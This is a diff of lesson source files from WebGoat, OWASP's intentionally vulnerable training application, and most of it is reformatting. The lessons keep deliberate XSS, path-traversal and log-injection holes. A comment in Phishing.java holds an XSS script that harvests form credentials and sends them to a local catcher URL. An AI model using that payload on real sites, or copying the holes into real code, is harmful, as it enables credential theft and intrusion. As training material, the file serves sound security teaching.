* Gets the instructions attribute of the LessonAdapter object. Instructions will rendered as html * Gets the instructions attribute of the LessonAdapter object. Instructions will rendered as
* and will appear below the control area and above the actual lesson area. Instructions should * html and will appear below the control area and above the actual lesson area. Instructions
* provide the user with the general setup and goal of the lesson. * should provide the user with the general setup and goal of the lesson.
* *
* @return The instructions value * @return The instructions value
*/ */
@ -211,15 +198,14 @@ public abstract class LessonAdapter extends AbstractLesson
} }
} }
} }
} catch (Exception e)
{
} }
catch (Exception e)
{}
return buff.toString(); return buff.toString();
} }
/** /**
* Fill in a descriptive title for this lesson. The title of the lesson. This will appear above * Fill in a descriptive title for this lesson. The title of the lesson. This will appear above
* the control area at the top of the page. This field will be rendered as html. * the control area at the top of the page. This field will be rendered as html.
@ -231,48 +217,42 @@ public abstract class LessonAdapter extends AbstractLesson
return "Untitled Lesson " + getScreenId(); return "Untitled Lesson " + getScreenId();
} }
public String getCurrentAction(WebSession s) public String getCurrentAction(WebSession s)
{ {
return s.getLessonSession(this).getCurrentLessonScreen(); return s.getLessonSession(this).getCurrentLessonScreen();
} }
public void setCurrentAction(WebSession s, String lessonScreen) public void setCurrentAction(WebSession s, String lessonScreen)
{ {
s.getLessonSession(this).setCurrentLessonScreen(lessonScreen); s.getLessonSession(this).setCurrentLessonScreen(lessonScreen);
} }
public Object getSessionAttribute(WebSession s, String key) public Object getSessionAttribute(WebSession s, String key)
{ {
return s.getRequest().getSession().getAttribute(key); return s.getRequest().getSession().getAttribute(key);
} }
public void setSessionAttribute(WebSession s, String key, Object value) public void setSessionAttribute(WebSession s, String key, Object value)
{ {
s.getRequest().getSession().setAttribute(key, value); s.getRequest().getSession().setAttribute(key, value);
} }
/** /**
* Description of the Method * Description of the Method
* *
* @param s Description of the Parameter * @param s
* Description of the Parameter
* @return Description of the Return Value * @return Description of the Return Value
*/ */
protected Element makeSuccess(WebSession s) protected Element makeSuccess(WebSession s)
{ {
getLessonTracker(s).setCompleted(true); getLessonTracker(s).setCompleted(true);
s s.setMessage("Congratulations. You have successfully completed this lesson.");
.setMessage("Congratulations. You have successfully completed this lesson.");
return (null); return (null);
} }
/** /**
* Gets the credits attribute of the AbstractLesson object * Gets the credits attribute of the AbstractLesson object
* *

58
main/project/JavaSource/org/owasp/webgoat/lessons/LogSpoofing.java
View File

@ -1,10 +1,10 @@
package org.owasp.webgoat.lessons; package org.owasp.webgoat.lessons;
import java.io.UnsupportedEncodingException; import java.io.UnsupportedEncodingException;
import java.net.URLDecoder; import java.net.URLDecoder;
import java.util.ArrayList; import java.util.ArrayList;
import java.util.List; import java.util.List;
import org.apache.ecs.Element; import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer; import org.apache.ecs.ElementContainer;
import org.apache.ecs.HtmlColor; import org.apache.ecs.HtmlColor;
@ -18,32 +18,31 @@ import org.apache.ecs.html.Table;
import org.owasp.webgoat.session.ECSFactory; import org.owasp.webgoat.session.ECSFactory;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
* *
@ -58,8 +57,8 @@ public class LogSpoofing extends LessonAdapter
private static final String PASSWORD = "password"; private static final String PASSWORD = "password";
private final static IMG MAC_LOGO = new IMG("images/logos/macadamian.gif").setAlt( private final static IMG MAC_LOGO = new IMG("images/logos/macadamian.gif").setAlt("Macadamian Technologies")
"Macadamian Technologies").setBorder(0).setHspace(0).setVspace(0); .setBorder(0).setHspace(0).setVspace(0);
protected Element createContent(WebSession s) protected Element createContent(WebSession s)
{ {
@ -69,8 +68,7 @@ public class LogSpoofing extends LessonAdapter
try try
{ {
Table t = new Table(0).setCellSpacing(0).setCellPadding(0) Table t = new Table(0).setCellSpacing(0).setCellPadding(0).setBorder(0);
.setBorder(0);
TR row1 = new TR(); TR row1 = new TR();
TR row2 = new TR(); TR row2 = new TR();
TR row3 = new TR(); TR row3 = new TR();
@ -94,8 +92,7 @@ public class LogSpoofing extends LessonAdapter
ec = new ElementContainer(); ec = new ElementContainer();
ec.addElement(t); ec.addElement(t);
inputUsername = new String(s.getParser().getRawParameter(USERNAME, inputUsername = new String(s.getParser().getRawParameter(USERNAME, ""));
""));
if (inputUsername.length() != 0) if (inputUsername.length() != 0)
{ {
inputUsername = URLDecoder.decode(inputUsername, "UTF-8"); inputUsername = URLDecoder.decode(inputUsername, "UTF-8");
@ -103,12 +100,9 @@ public class LogSpoofing extends LessonAdapter
ec.addElement(new PRE(" ")); ec.addElement(new PRE(" "));
Table t2 = new Table(0).setCellSpacing(0).setCellPadding(0) Table t2 = new Table(0).setCellSpacing(0).setCellPadding(0).setBorder(0);
.setBorder(0);
TR row4 = new TR(); TR row4 = new TR();
row4.addElement( row4.addElement(new TD(new PRE("Login failed for username: " + inputUsername))).setBgColor(HtmlColor.GRAY);
new TD(new PRE("Login failed for username: "
+ inputUsername))).setBgColor(HtmlColor.GRAY);
t2.addElement(row4); t2.addElement(row4);
@ -121,8 +115,7 @@ public class LogSpoofing extends LessonAdapter
{ {
makeSuccess(s); makeSuccess(s);
} }
} } catch (UnsupportedEncodingException e)
catch (UnsupportedEncodingException e)
{ {
s.setMessage("Error generating " + this.getClass().getName()); s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace(); e.printStackTrace();
@ -132,13 +125,11 @@ public class LogSpoofing extends LessonAdapter
private final static Integer DEFAULT_RANKING = new Integer(72); private final static Integer DEFAULT_RANKING = new Integer(72);
protected Integer getDefaultRanking() protected Integer getDefaultRanking()
{ {
return DEFAULT_RANKING; return DEFAULT_RANKING;
} }
@Override @Override
protected List<String> getHints(WebSession s) protected List<String> getHints(WebSession s)
{ {
@ -152,21 +143,18 @@ public class LogSpoofing extends LessonAdapter
return hints; return hints;
} }
@Override @Override
public String getTitle() public String getTitle()
{ {
return "Log Spoofing"; return "Log Spoofing";
} }
@Override @Override
protected Category getDefaultCategory() protected Category getDefaultCategory()
{ {
return Category.INJECTION; return Category.INJECTION;
} }
public Element getCredits() public Element getCredits()
{ {
return super.getCustomCredits("Created by Sherif Koussa ", MAC_LOGO); return super.getCustomCredits("Created by Sherif Koussa ", MAC_LOGO);

38
main/project/JavaSource/org/owasp/webgoat/lessons/NewLesson.java
View File

@ -1,35 +1,35 @@
package org.owasp.webgoat.lessons; package org.owasp.webgoat.lessons;
import org.apache.ecs.Element; import org.apache.ecs.Element;
import org.apache.ecs.StringElement; import org.apache.ecs.StringElement;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
* *
@ -41,7 +41,8 @@ public class NewLesson extends LessonAdapter
/** /**
* Description of the Method * Description of the Method
* *
* @param s Description of the Parameter * @param s
* Description of the Parameter
* @return Description of the Return Value * @return Description of the Return Value
*/ */
protected Element createContent(WebSession s) protected Element createContent(WebSession s)
@ -52,7 +53,6 @@ public class NewLesson extends LessonAdapter
// return (ec); // return (ec);
} }
/** /**
* Gets the category attribute of the NEW_LESSON object * Gets the category attribute of the NEW_LESSON object
* *
@ -65,13 +65,11 @@ public class NewLesson extends LessonAdapter
private final static Integer DEFAULT_RANKING = new Integer(85); private final static Integer DEFAULT_RANKING = new Integer(85);
protected Integer getDefaultRanking() protected Integer getDefaultRanking()
{ {
return DEFAULT_RANKING; return DEFAULT_RANKING;
} }
/** /**
* Gets the title attribute of the DirectoryScreen object * Gets the title attribute of the DirectoryScreen object
* *

77
main/project/JavaSource/org/owasp/webgoat/lessons/PathBasedAccessControl.java
View File

@ -1,3 +1,4 @@
package org.owasp.webgoat.lessons; package org.owasp.webgoat.lessons;
import java.io.BufferedReader; import java.io.BufferedReader;
@ -5,7 +6,6 @@ import java.io.File;
import java.io.FileReader; import java.io.FileReader;
import java.util.ArrayList; import java.util.ArrayList;
import java.util.List; import java.util.List;
import org.apache.ecs.Element; import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer; import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement; import org.apache.ecs.StringElement;
@ -14,36 +14,34 @@ import org.apache.ecs.html.HR;
import org.apache.ecs.html.TD; import org.apache.ecs.html.TD;
import org.apache.ecs.html.TR; import org.apache.ecs.html.TR;
import org.apache.ecs.html.Table; import org.apache.ecs.html.Table;
import org.owasp.webgoat.session.ECSFactory; import org.owasp.webgoat.session.ECSFactory;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
* *
@ -111,13 +109,15 @@ public class PathBasedAccessControl extends LessonAdapter
s.setMessage("It appears that you are on the right track. " s.setMessage("It appears that you are on the right track. "
+ "Commands that may compromise the operating system have been disabled. " + "Commands that may compromise the operating system have been disabled. "
+ "You are only allowed to see one file in this directory. "); + "You are only allowed to see one file in this directory. ");
} else if (upDirCount(file) > 3) }
else if (upDirCount(file) > 3)
{ {
s.setMessage("Access denied"); s.setMessage("Access denied");
s.setMessage("It appears that you are on the right track. " s.setMessage("It appears that you are on the right track. "
+ "Commands that may compromise the operating system have been disabled. " + "Commands that may compromise the operating system have been disabled. "
+ "You are only allowed to see files in the webgoat directory. "); + "You are only allowed to see files in the webgoat directory. ");
} else }
else
{ {
illegalCommand = false; illegalCommand = false;
} }
@ -153,16 +153,20 @@ public class PathBasedAccessControl extends LessonAdapter
s.setMessage("Congratulations! Access to file allowed"); s.setMessage("Congratulations! Access to file allowed");
s.setMessage(" ==> " + Encoding.urlDecode(f.getCanonicalPath())); s.setMessage(" ==> " + Encoding.urlDecode(f.getCanonicalPath()));
makeSuccess(s); makeSuccess(s);
} else }
else
{ {
s.setMessage("File is already in allowed directory - try again!"); s.setMessage("File is already in allowed directory - try again!");
s.setMessage(" ==> " + Encoding.urlDecode(f.getCanonicalPath())); s.setMessage(" ==> " + Encoding.urlDecode(f.getCanonicalPath()));
} }
} else if (file != null && file.length() != 0) }
else if (file != null && file.length() != 0)
{ {
s.setMessage("Access to file/directory \"" + Encoding.urlDecode(f.getCanonicalPath()) s
.setMessage("Access to file/directory \"" + Encoding.urlDecode(f.getCanonicalPath())
+ "\" denied"); + "\" denied");
} else }
else
{ {
// do nothing, probably entry screen // do nothing, probably entry screen
} }
@ -176,30 +180,21 @@ public class PathBasedAccessControl extends LessonAdapter
ec.addElement(new HR().setWidth("100%")); ec.addElement(new HR().setWidth("100%"));
ec.addElement("Viewing file: " + f.getCanonicalPath()); ec.addElement("Viewing file: " + f.getCanonicalPath());
ec.addElement(new HR().setWidth("100%")); ec.addElement(new HR().setWidth("100%"));
if (f.length() > 80000) if (f.length() > 80000) { throw new Exception("File is too large"); }
{
throw new Exception("File is too large");
}
String fileData = getFileText(new BufferedReader(new FileReader(f)), false); String fileData = getFileText(new BufferedReader(new FileReader(f)), false);
if (fileData.indexOf(0x00) != -1) if (fileData.indexOf(0x00) != -1) { throw new Exception("File is binary"); }
{ ec.addElement(new StringElement(fileData.replaceAll(System.getProperty("line.separator"), "<br>")
throw new Exception("File is binary"); .replaceAll("(?s)<!DOCTYPE.*/head>", "").replaceAll("<br><br>", "<br>")
} .replaceAll("<br>\\s<br>", "<br>").replaceAll("<\\?", "&lt;").replaceAll("<(r|u|t)",
ec "&lt;$1")));
.addElement(new StringElement(fileData.replaceAll(System.getProperty("line.separator"), } catch (Exception e)
"<br>").replaceAll("(?s)<!DOCTYPE.*/head>", "").replaceAll("<br><br>", "<br>")
.replaceAll("<br>\\s<br>", "<br>").replaceAll("<\\?", "&lt;").replaceAll(
"<(r|u|t)", "&lt;$1")));
}
catch (Exception e)
{ {
ec.addElement(new BR()); ec.addElement(new BR());
ec.addElement("The following error occurred while accessing the file: <"); ec.addElement("The following error occurred while accessing the file: <");
ec.addElement(e.getMessage()); ec.addElement(e.getMessage());
} }
} }
} } catch (Exception e)
catch (Exception e)
{ {
s.setMessage("Error generating " + this.getClass().getName()); s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace(); e.printStackTrace();

48
main/project/JavaSource/org/owasp/webgoat/lessons/Phishing.java
View File

@ -1,8 +1,8 @@
package org.owasp.webgoat.lessons; package org.owasp.webgoat.lessons;
import java.util.ArrayList; import java.util.ArrayList;
import java.util.List; import java.util.List;
import org.apache.ecs.Element; import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer; import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement; import org.apache.ecs.StringElement;
@ -20,32 +20,31 @@ import org.owasp.webgoat.Catcher;
import org.owasp.webgoat.session.ECSFactory; import org.owasp.webgoat.session.ECSFactory;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
* *
@ -70,8 +69,8 @@ public class Phishing extends LessonAdapter
*/ */
private boolean postedCredentials(WebSession s) private boolean postedCredentials(WebSession s)
{ {
String postedToCookieCatcher = String postedToCookieCatcher = getLessonTracker(s).getLessonProperties().getProperty(Catcher.PROPERTY,
getLessonTracker(s).getLessonProperties().getProperty(Catcher.PROPERTY, Catcher.EMPTY_STRING); Catcher.EMPTY_STRING);
// <START_OMIT_SOURCE> // <START_OMIT_SOURCE>
return (!postedToCookieCatcher.equals(Catcher.EMPTY_STRING)); return (!postedToCookieCatcher.equals(Catcher.EMPTY_STRING));
@ -100,8 +99,7 @@ public class Phishing extends LessonAdapter
{ {
makeSuccess(s); makeSuccess(s);
} }
} } catch (Exception e)
catch (Exception e)
{ {
s.setMessage("Error generating " + this.getClass().getName()); s.setMessage("Error generating " + this.getClass().getName());
} }
@ -226,9 +224,8 @@ public class Phishing extends LessonAdapter
+ "value=&quot;login&quot; onclick=&quot;hack()&quot;&gt;&lt;/form&gt;&lt;br&gt;&lt;br&gt;&lt;HR&gt;" + "value=&quot;login&quot; onclick=&quot;hack()&quot;&gt;&lt;/form&gt;&lt;br&gt;&lt;br&gt;&lt;HR&gt;"
+ "<BR><BR>You may need to remove the '.' from the http://localhost./"); + "<BR><BR>You may need to remove the '.' from the http://localhost./");
/** /**
* password<script>function hack(){ alert("Had this been a real * password<script>function hack(){ alert("Had this been a real attack... Your credentials
* attack... Your credentials were just stolen.\nUser Name = " + * were just stolen.\nUser Name = " + document.forms(0).user.value + "\nPassword = " +
* document.forms(0).user.value + "\nPassword = " +
* document.forms(0).pass.value); XSSImage=new Image; * document.forms(0).pass.value); XSSImage=new Image;
* XSSImage.src="http://localhost./WebGoat/catcher?PROPERTY=yes&user="+document.forms(0).user.value + * XSSImage.src="http://localhost./WebGoat/catcher?PROPERTY=yes&user="+document.forms(0).user.value +
* "&password=" + document.forms(0).pass.value + "";}</script><form><br> * "&password=" + document.forms(0).pass.value + "";}</script><form><br>
@ -257,8 +254,7 @@ public class Phishing extends LessonAdapter
*/ */
public String getInstructions(WebSession s) public String getInstructions(WebSession s)
{ {
String instructions = String instructions = "This lesson is an example of how a website might support a phishing attack<BR><BR>"
"This lesson is an example of how a website might support a phishing attack<BR><BR>"
+ "Below is an example of a standard search feature.<br>" + "Below is an example of a standard search feature.<br>"
+ "Using XSS and HTML insertion, your goal is to: <UL>" + "Using XSS and HTML insertion, your goal is to: <UL>"
+ "<LI>Insert html to that requests credentials" + "<LI>Insert html to that requests credentials"

41
main/project/JavaSource/org/owasp/webgoat/lessons/RandomLessonAdapter.java
View File

@ -1,56 +1,67 @@
package org.owasp.webgoat.lessons; package org.owasp.webgoat.lessons;
import org.owasp.webgoat.session.LessonTracker; import org.owasp.webgoat.session.LessonTracker;
import org.owasp.webgoat.session.RandomLessonTracker; import org.owasp.webgoat.session.RandomLessonTracker;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
public abstract class RandomLessonAdapter extends LessonAdapter {
public abstract class RandomLessonAdapter extends LessonAdapter
{
public abstract String[] getStages(); public abstract String[] getStages();
public void setStage(WebSession s, String stage) { public void setStage(WebSession s, String stage)
{
getLessonTracker(s).setStage(stage); getLessonTracker(s).setStage(stage);
} }
public String getStage(WebSession s) { public String getStage(WebSession s)
{
return getLessonTracker(s).getStage(); return getLessonTracker(s).getStage();
} }
public void setStageComplete(WebSession s, String stage) { public void setStageComplete(WebSession s, String stage)
{
RandomLessonTracker lt = getLessonTracker(s); RandomLessonTracker lt = getLessonTracker(s);
lt.setStageComplete(stage, true); lt.setStageComplete(stage, true);
if (lt.getCompleted()) { if (lt.getCompleted())
{
s.setMessage("Congratulations, you have completed this lab"); s.setMessage("Congratulations, you have completed this lab");
} else { }
else
{
s.setMessage("You have completed " + stage + "."); s.setMessage("You have completed " + stage + ".");
if (! stage.equals(lt.getStage())) if (!stage.equals(lt.getStage())) s.setMessage(" Welcome to " + lt.getStage());
s.setMessage(" Welcome to " + lt.getStage());
} }
} }
public boolean isStageComplete(WebSession s, String stage) { public boolean isStageComplete(WebSession s, String stage)
{
return getLessonTracker(s).hasCompleted(stage); return getLessonTracker(s).hasCompleted(stage);
} }
@Override @Override
public RandomLessonTracker getLessonTracker(WebSession s) { public RandomLessonTracker getLessonTracker(WebSession s)
{
return (RandomLessonTracker) super.getLessonTracker(s); return (RandomLessonTracker) super.getLessonTracker(s);
} }
@Override @Override
public RandomLessonTracker getLessonTracker(WebSession s, AbstractLesson lesson) { public RandomLessonTracker getLessonTracker(WebSession s, AbstractLesson lesson)
{
return (RandomLessonTracker) super.getLessonTracker(s, lesson); return (RandomLessonTracker) super.getLessonTracker(s, lesson);
} }
@Override @Override
public RandomLessonTracker getLessonTracker(WebSession s, String userNameOverride) { public RandomLessonTracker getLessonTracker(WebSession s, String userNameOverride)
{
return (RandomLessonTracker) super.getLessonTracker(s, userNameOverride); return (RandomLessonTracker) super.getLessonTracker(s, userNameOverride);
} }
@Override @Override
public LessonTracker createLessonTracker() { public LessonTracker createLessonTracker()
{
return new RandomLessonTracker(getStages()); return new RandomLessonTracker(getStages());
} }

128
main/project/JavaSource/org/owasp/webgoat/lessons/ReflectedXSS.java
View File

@ -1,9 +1,9 @@
package org.owasp.webgoat.lessons; package org.owasp.webgoat.lessons;
import java.util.ArrayList; import java.util.ArrayList;
import java.util.List; import java.util.List;
import java.util.regex.Pattern; import java.util.regex.Pattern;
import org.apache.ecs.Element; import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer; import org.apache.ecs.ElementContainer;
import org.apache.ecs.html.BR; import org.apache.ecs.html.BR;
@ -19,32 +19,31 @@ import org.owasp.webgoat.session.ECSFactory;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
import org.owasp.webgoat.util.HtmlEncoder; import org.owasp.webgoat.util.HtmlEncoder;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
* *
@ -57,7 +56,8 @@ public class ReflectedXSS extends LessonAdapter
/** /**
* Description of the Method * Description of the Method
* *
* @param s Description of the Parameter * @param s
* Description of the Parameter
* @return Description of the Return Value * @return Description of the Return Value
*/ */
@ -71,8 +71,7 @@ public class ReflectedXSS extends LessonAdapter
try try
{ {
String param1 = s.getParser().getRawParameter("field1", "111"); String param1 = s.getParser().getRawParameter("field1", "111");
String param2 = HtmlEncoder.encode(s.getParser().getRawParameter( String param2 = HtmlEncoder.encode(s.getParser().getRawParameter("field2", "4128 3214 0002 1999"));
"field2", "4128 3214 0002 1999"));
float quantity = 1.0f; float quantity = 1.0f;
float total = 0.0f; float total = 0.0f;
float runningTotal = 0.0f; float runningTotal = 0.0f;
@ -85,19 +84,14 @@ public class ReflectedXSS extends LessonAdapter
makeSuccess(s); makeSuccess(s);
} }
s s.setMessage("Whoops! You entered " + param1 + " instead of your three digit code. Please try again.");
.setMessage("Whoops! You entered "
+ param1
+ " instead of your three digit code. Please try again.");
} }
// FIXME: encode output of field2, then s.setMessage( field2 ); // FIXME: encode output of field2, then s.setMessage( field2 );
ec.addElement(new HR().setWidth("90%")); ec.addElement(new HR().setWidth("90%"));
ec.addElement(new Center().addElement(new H1() ec.addElement(new Center().addElement(new H1().addElement("Shopping Cart ")));
.addElement("Shopping Cart "))); Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(1).setWidth("90%").setAlign("center");
Table t = new Table().setCellSpacing(0).setCellPadding(2)
.setBorder(1).setWidth("90%").setAlign("center");
if (s.isColor()) if (s.isColor())
{ {
@ -105,21 +99,18 @@ public class ReflectedXSS extends LessonAdapter
} }
TR tr = new TR(); TR tr = new TR();
tr.addElement(new TH().addElement( tr.addElement(new TH().addElement("Shopping Cart Items -- To Buy Now").setWidth("80%"));
"Shopping Cart Items -- To Buy Now").setWidth("80%"));
tr.addElement(new TH().addElement("Price").setWidth("10%")); tr.addElement(new TH().addElement("Price").setWidth("10%"));
tr.addElement(new TH().addElement("Quantity").setWidth("3%")); tr.addElement(new TH().addElement("Quantity").setWidth("3%"));
tr.addElement(new TH().addElement("Total").setWidth("7%")); tr.addElement(new TH().addElement("Total").setWidth("7%"));
t.addElement(tr); t.addElement(tr);
tr = new TR(); tr = new TR();
tr tr.addElement(new TD().addElement("Studio RTA - Laptop/Reading Cart with Tilting Surface - Cherry "));
.addElement(new TD()
.addElement("Studio RTA - Laptop/Reading Cart with Tilting Surface - Cherry "));
tr.addElement(new TD().addElement("69.99").setAlign("right")); tr.addElement(new TD().addElement("69.99").setAlign("right"));
tr.addElement(new TD().addElement( tr.addElement(new TD().addElement(
new Input(Input.TEXT, "QTY1", s.getParser() new Input(Input.TEXT, "QTY1", s.getParser().getStringParameter("QTY1",
.getStringParameter("QTY1", "1"))) "1")))
.setAlign("right")); .setAlign("right"));
quantity = s.getParser().getFloatParameter("QTY1", 0.0f); quantity = s.getParser().getFloatParameter("QTY1", 0.0f);
total = quantity * 69.99f; total = quantity * 69.99f;
@ -127,12 +118,11 @@ public class ReflectedXSS extends LessonAdapter
tr.addElement(new TD().addElement("$" + total)); tr.addElement(new TD().addElement("$" + total));
t.addElement(tr); t.addElement(tr);
tr = new TR(); tr = new TR();
tr.addElement(new TD() tr.addElement(new TD().addElement("Dynex - Traditional Notebook Case"));
.addElement("Dynex - Traditional Notebook Case"));
tr.addElement(new TD().addElement("27.99").setAlign("right")); tr.addElement(new TD().addElement("27.99").setAlign("right"));
tr.addElement(new TD().addElement( tr.addElement(new TD().addElement(
